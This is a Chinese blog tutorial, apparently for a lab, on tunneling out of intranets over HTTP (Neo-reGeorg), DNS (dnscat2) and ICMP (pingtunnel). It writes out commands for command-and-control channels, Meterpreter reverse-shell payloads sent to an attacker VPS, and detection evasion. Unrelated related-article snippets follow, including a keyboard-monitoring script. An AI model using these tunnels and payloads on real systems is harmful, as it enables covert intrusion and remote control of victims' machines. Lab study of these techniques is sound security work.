內網隧道—HTTP\DNS\ICMP

?????? 本文僅限于安全研究和學習,用戶承擔因使用此工具而導致的所有法律和相關責任! 作者不承擔任何法律和相關責任!

HTTP隧道

Neo-reGeorg

Neo-reGeorg 是一個旨在積極重構 reGeorg 的項目,目的是:

提高可用性,避免特征檢測
提高 tunnel 連接安全性
提高傳輸內容保密性
應對更多的網絡環境場景下使用

靶場環境:cve-2017-10271? weblogic

#靶場攻擊過程,使用腳本工具得到shell,在此略過

1.設置密碼生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上傳到WEB服務器

?2.使用蟻劍上傳JSP文件

上傳至此目錄:可以訪問到文件

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/

3.使用 neoreg.py 連接WEB服務器,在本地建立 socks 代理,代理默認端口 1080

修改配置文件:vim proxychains4.conf

?執行命令:

?#測試代理: proxychains curl 127.0.0.1:7001

DNS隧道

Dnscat2

?????? dnscat2是一個DNS隧道工具,通過DNS協議創建加密的命令和控制通道,它的一大
特色就是服務端會有一個命令行控制臺,所有的指令都可以在該控制臺內完成。包
括:文件上傳、下載、反彈Shell。
直連模式:客戶端直接向指定IP的惡意DNS服務器發起DNS解析請求。

中繼模式:像我們平時上網一樣,DNS解析先經過互聯網的迭代解析,最后指向我們
的惡意DNS服務器。相比直連,速度較慢,但是更安全。

服務端安裝

apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler

git clone https://github.com/iagox86/dnscat2.git(也可以先下載文件,然后上傳至VPS)
cd dnscat2/server
bundle install?? #如此命令報錯,和本地網絡有關,多試幾次


客戶端編譯

Linux:

git clone https://github.com/iagox86/dnscat2.git??
cd dnscat2/client/
make??

Windows:

下載Windows版本

在本地編譯上傳

上傳已經編譯好的 .exe程序

make編譯之后會在此目錄下生成一個dnscat可執行二進制文件。
Linux systemd-resolve占用53端口的解決方法: https://www.itren.org/319.html

Dnscat2直連模式

啟動服務端

ruby ./dnscat2.rb

?啟動客戶端

?vps收到會話

help

windows

?進入session 1: session -i 1

shell??? #獲取主機shell

進入session 2 : session -i 2

?執行命令:

whoami

?直連模式流量特征:tcpdump udp dst port 53

Dnscat2中繼模式

環境準備:?
1. 一臺公網C&C服務器??????
2. 一臺內網靶機 ? ? ? ? ? ?? #以win7為例
3. 一個可配置解析的域名

配置DNS域名解析:
創建A記錄,將自己的域名解析服務器(ns.hack.com)指向云服務器(VPS IP)

A類解析是在告訴域名系統,ns.hacker.com的IP地址是 xxx.xxx.xxx.xxx

創建NS記錄,將子域名 dns.hetian.cn 的DNS解析交給 ns.hack.com
NS解析是在告訴域名系統,想要知道 dns.hack.com 的IP地址,就去問ns.hacker.com?

?vps防火墻設置:開放全部UDP端口

啟動服務端

ruby ./dnscat2.rb dns.xxx.xxx --secret=abcd

secret --指定密碼

啟動客戶端

server #指定VPS地址

服務端收到session 3

獲取shell

進入會話:session -i 4

執行命令: whoami

?

ICMP隧道

Pingtunnel

ICMP隧道
????? 通過某種信道獲取了內網主機的shell,但是當前信道不適合做遠控的通信信道,
tcp 和 udp 等傳輸層協議不能出網, dns 、 http 等應用層協議也不能出網,只有
icmp 協議可以出網。

目的:上線僅icmp協議出網的內網主機

ICMP隧道轉發TCP上線MSF

1.VPS啟動ICMP隧道服務端

./pingtunnel -type server -noprint 1 -nolog 1

2.靶機啟動ICMP隧道客戶端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s?vpsip -t vpsip:7777 -tcp 1 -noprint 1 -nolog 1


3. MSF 生成反彈 shell 的 payload 上傳到靶機

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > hot.exe

?4.執行 payload 反彈 shell 到 MSF

設置偵聽:

msfconsole

use exploit/multi/handler

set lhost xx.xx.xx.xx?? (vps的內網IP)

set lport 8866

set payload windows/x64/meterpreter/reverse_tcp

exploit

5. 靶機執行payload,msf上線

?

ICMP隧道轉發Socks上線MSF

1. VPS啟動ICMP隧道服務端

./pingtunnel -type server -noprint 1 -nolog 1

2.靶機啟動ICMP隧道客戶端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s VPSIP -sock5 1 -noprint 1 -nolog 1

#? icmp隧道客戶端監聽127.0.0.1:9999啟動socks5服務,
??? 通過連接到VPS IP的icmp隧道,
??? 由icmpserver轉發socks5代理請求到目的地址 VPSIP:8899

3.MSF 生成反彈 shell 的 payload 上傳到靶機,并執行

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=VPSIP lport=8866 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > c2.exe

?5.設置偵聽

handler -p windows/x64/meterpreter/reverse_tcp -H xx.xx.xx.xx -P8866

#IP是vps的內網IP

?6.MSF收到會話

?可以執行命令

參考:

內網滲透之內網穿透 - 先知社區

...

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39205.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39205.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39205.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

山西電力市場日前價格預測【2023-08-17】

日前價格預測 預測明日(2023-08-17)山西電力市場全天平均日前電價為376.70元/MWh。其中,最高日前電價為431.75元/MWh,預計出現在19: 45。最低日前電價為339.25元/MWh,預計出現在13: 15。 價差方向預測 1: 實…

python實現抽獎小程序

使用Python的Tkinter庫來添加抽獎程序的界面操作。下面是一個示例代碼: import random import tkinter as tkdef lottery():prizes [一等獎, 二等獎, 三等獎, 謝謝參與]winner random.choice(prizes)result_label.config(text恭喜您獲得了{}!.format(…

未出現過的最小正整數

給定一個長度為 n 的整數數組,請你找出未在數組中出現過的最小正整數。 樣例 輸入1:[-5, 3, 2, 3]輸出1:1輸入2:[1, 2, 3]輸出2:4數據范圍 1≤n≤105 , 數組中元素的取值范圍 [?109,109]。 代碼: c…

MySql主從復制1032錯誤(Slave_IO_Running: Yes Slave_SQL_Running: No)

MySql主從復制1032錯誤(Slave_IO_Running: Yes Slave_SQL_Running: No) Slave_IO_Running: Yes Slave_SQL_Running: No報錯: Last_SQL_Error: Could not execute Delete_rows event on table hr.test; Can’t find record in ‘test’, Erro…

【Unity造輪子】制作一個簡單的2d抓勾效果(類似蜘蛛俠的技能)

文章目錄 前言開始1. 實現簡單的抓勾效果2. 高階鉤爪效果 源碼參考完結 前言 歡迎閱讀本文,本文將向您介紹如何使用Unity游戲引擎來實現一個簡單而有趣的2D抓勾效果,類似于蜘蛛俠的獨特能力。抓勾效果是許多動作游戲和平臺游戲中的常見元素,…

【AI繪畫】3分鐘學會ikun幻術圖

目錄 前言一、效果展示二、準備工作三、操作步驟3.1平臺創建實例3.2 啟動SD 四、安裝QR Code Monster 模型五、成圖 前言 大家熱愛的ikun幻術在今天的分享中將呈現。在本文中,我們將揭示一個備受歡迎的圖像幻術技術,讓您感受到令人驚嘆的視覺創造力。 …

springboot+vue游戲攻略推薦網站的設計與開發_s5832

熱門網游推薦網站是一個利用JAVA技術建設的網上管理系統,在熱門網游推薦管理中實現信息化。系統的設計就是為了迎合廣大用戶需求而創建的一個界面簡潔、有定向內容、業務邏輯簡單易操作的熱門網游推薦網站。本文以熱門網游推薦為例,提出了利用JAVA技術設…

Angular中的ActivatedRoute和Router

Angular中的ActivatedRoute和Router解釋 在Angular中,ActivatedRoute和Router是兩個核心的路由服務。他們都提供可以用來檢查和操作當前頁面路由信息的方法和屬性。 ActivatedRoute ActivatedRoute是一個保存關于當前路由狀態(如路由參數、查詢參數以…

Linux下grep通配容易混淆的地方

先上一張圖: 我希望找到某個版本為8的一個libXXX.8XXX.so ,那么應該怎么寫呢? 先看這種寫法對不對: 是不是結果出乎你的意料之外? 那么我們來看一下規則: 這里的 "*" 表示匹配前一個字符的零個或多個 于是我們就不難理解了: lib*8*.so 表示 包…

醫療PACS源碼,支持三維多平面重建、三維容積重建、三維表面重建、三維虛擬內窺鏡

C/S架構的PACS系統源碼,PACS主要進行病人信息和影像的獲取、處理、存儲、調閱、檢索、管理,并通過網絡向全院提供病人檢查影像及診斷報告;各影像科室之間共享不同設備的病人檢查影像及診斷報告;在診斷工作站上,調閱HIS中病人的其它…

拒絕擺爛!C語言練習打卡第二天

🔥博客主頁:小王又困了 📚系列專欄:每日一練 🌟人之為學,不日近則日退 ??感謝大家點贊👍收藏?評論?? 目錄 一、選擇題 📝1.第一題 📝2.第二題 📝…

P1304 哥德巴赫猜想

題目描述 輸入一個偶數 N N N,驗證 4 ~ N 4\sim N 4~N 所有偶數是否符合哥德巴赫猜想:任一大于 2 2 2 的偶數都可寫成兩個質數之和。如果一個數不止一種分法,則輸出第一個加數相比其他分法最小的方案。例如 10 10 10, 10 …

Springboot寫單元測試

導入依賴 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><exclusions><exclusion><groupId>org.junit.vintage</groupId><artifactId>junit-vintag…

django實現悲觀鎖樂觀鎖

前期準備 # 線上賣圖書-圖書表 圖書名字&#xff0c;圖書價格&#xff0c;庫存字段-訂單表&#xff1a; 訂單id&#xff0c;訂單名字# 表準備class Book(models.Model):name models.CharField(max_length32)price models.IntegerField() #count models.SmallIntegerField…

Python實時監控鍵盤的輸入并打印出來

要實現Python實時監控鍵盤的輸入并打印出來&#xff0c;可以使用pynput模塊。 首先&#xff0c;需要安裝pynput模塊&#xff1a; pip install pynput 然后&#xff0c;可以編寫以下代碼來實現實時監控鍵盤輸入并打印出來的功能&#xff1a; from pynput import keyboard# 定…

【Unity每日一記】方位辨別—向量的叉乘點乘結合

&#x1f468;?&#x1f4bb;個人主頁&#xff1a;元宇宙-秩沅 &#x1f468;?&#x1f4bb; hallo 歡迎 點贊&#x1f44d; 收藏? 留言&#x1f4dd; 加關注?! &#x1f468;?&#x1f4bb; 本文由 秩沅 原創 &#x1f468;?&#x1f4bb; 收錄于專欄&#xff1a;uni…

grafana 的 ws websocket 連接不上的解決方式

使用了多層的代理方式&#xff0c;一層沒有此問題 錯誤 WebSocket connection to ‘wss://ip地址/grafana01/api/live/ws’ failed: 日志報錯 msg“Request Completed” methodGET path/api/live/ws status403 解決方式 # allowed_origins is a comma-separated list of o…

Flutter:簡單搞一個內容高亮

內容高亮并不陌生&#xff0c;特別是在搜索內容頁面&#xff0c;可以說四處可見&#xff0c;就拿掘金這個應用而言&#xff0c;針對某一個關鍵字&#xff0c;我們搜索之后&#xff0c;與關鍵字相同的內容&#xff0c;則會高亮展示&#xff0c;如下圖所示&#xff1a; 如上的效果…

【Linux操作系統】舉例解釋Linux系統編程中文件io常用的函數

在Linux系統編程中&#xff0c;文件IO操作是非常常見和重要的操作之一。通過文件IO操作&#xff0c;我們可以打開、讀取、寫入和關閉文件&#xff0c;對文件進行定位、復制、刪除和重命名等操作。本篇博客將介紹一些常用的文件IO操作函數。 文章目錄 1. open()1.1 原型、參數及…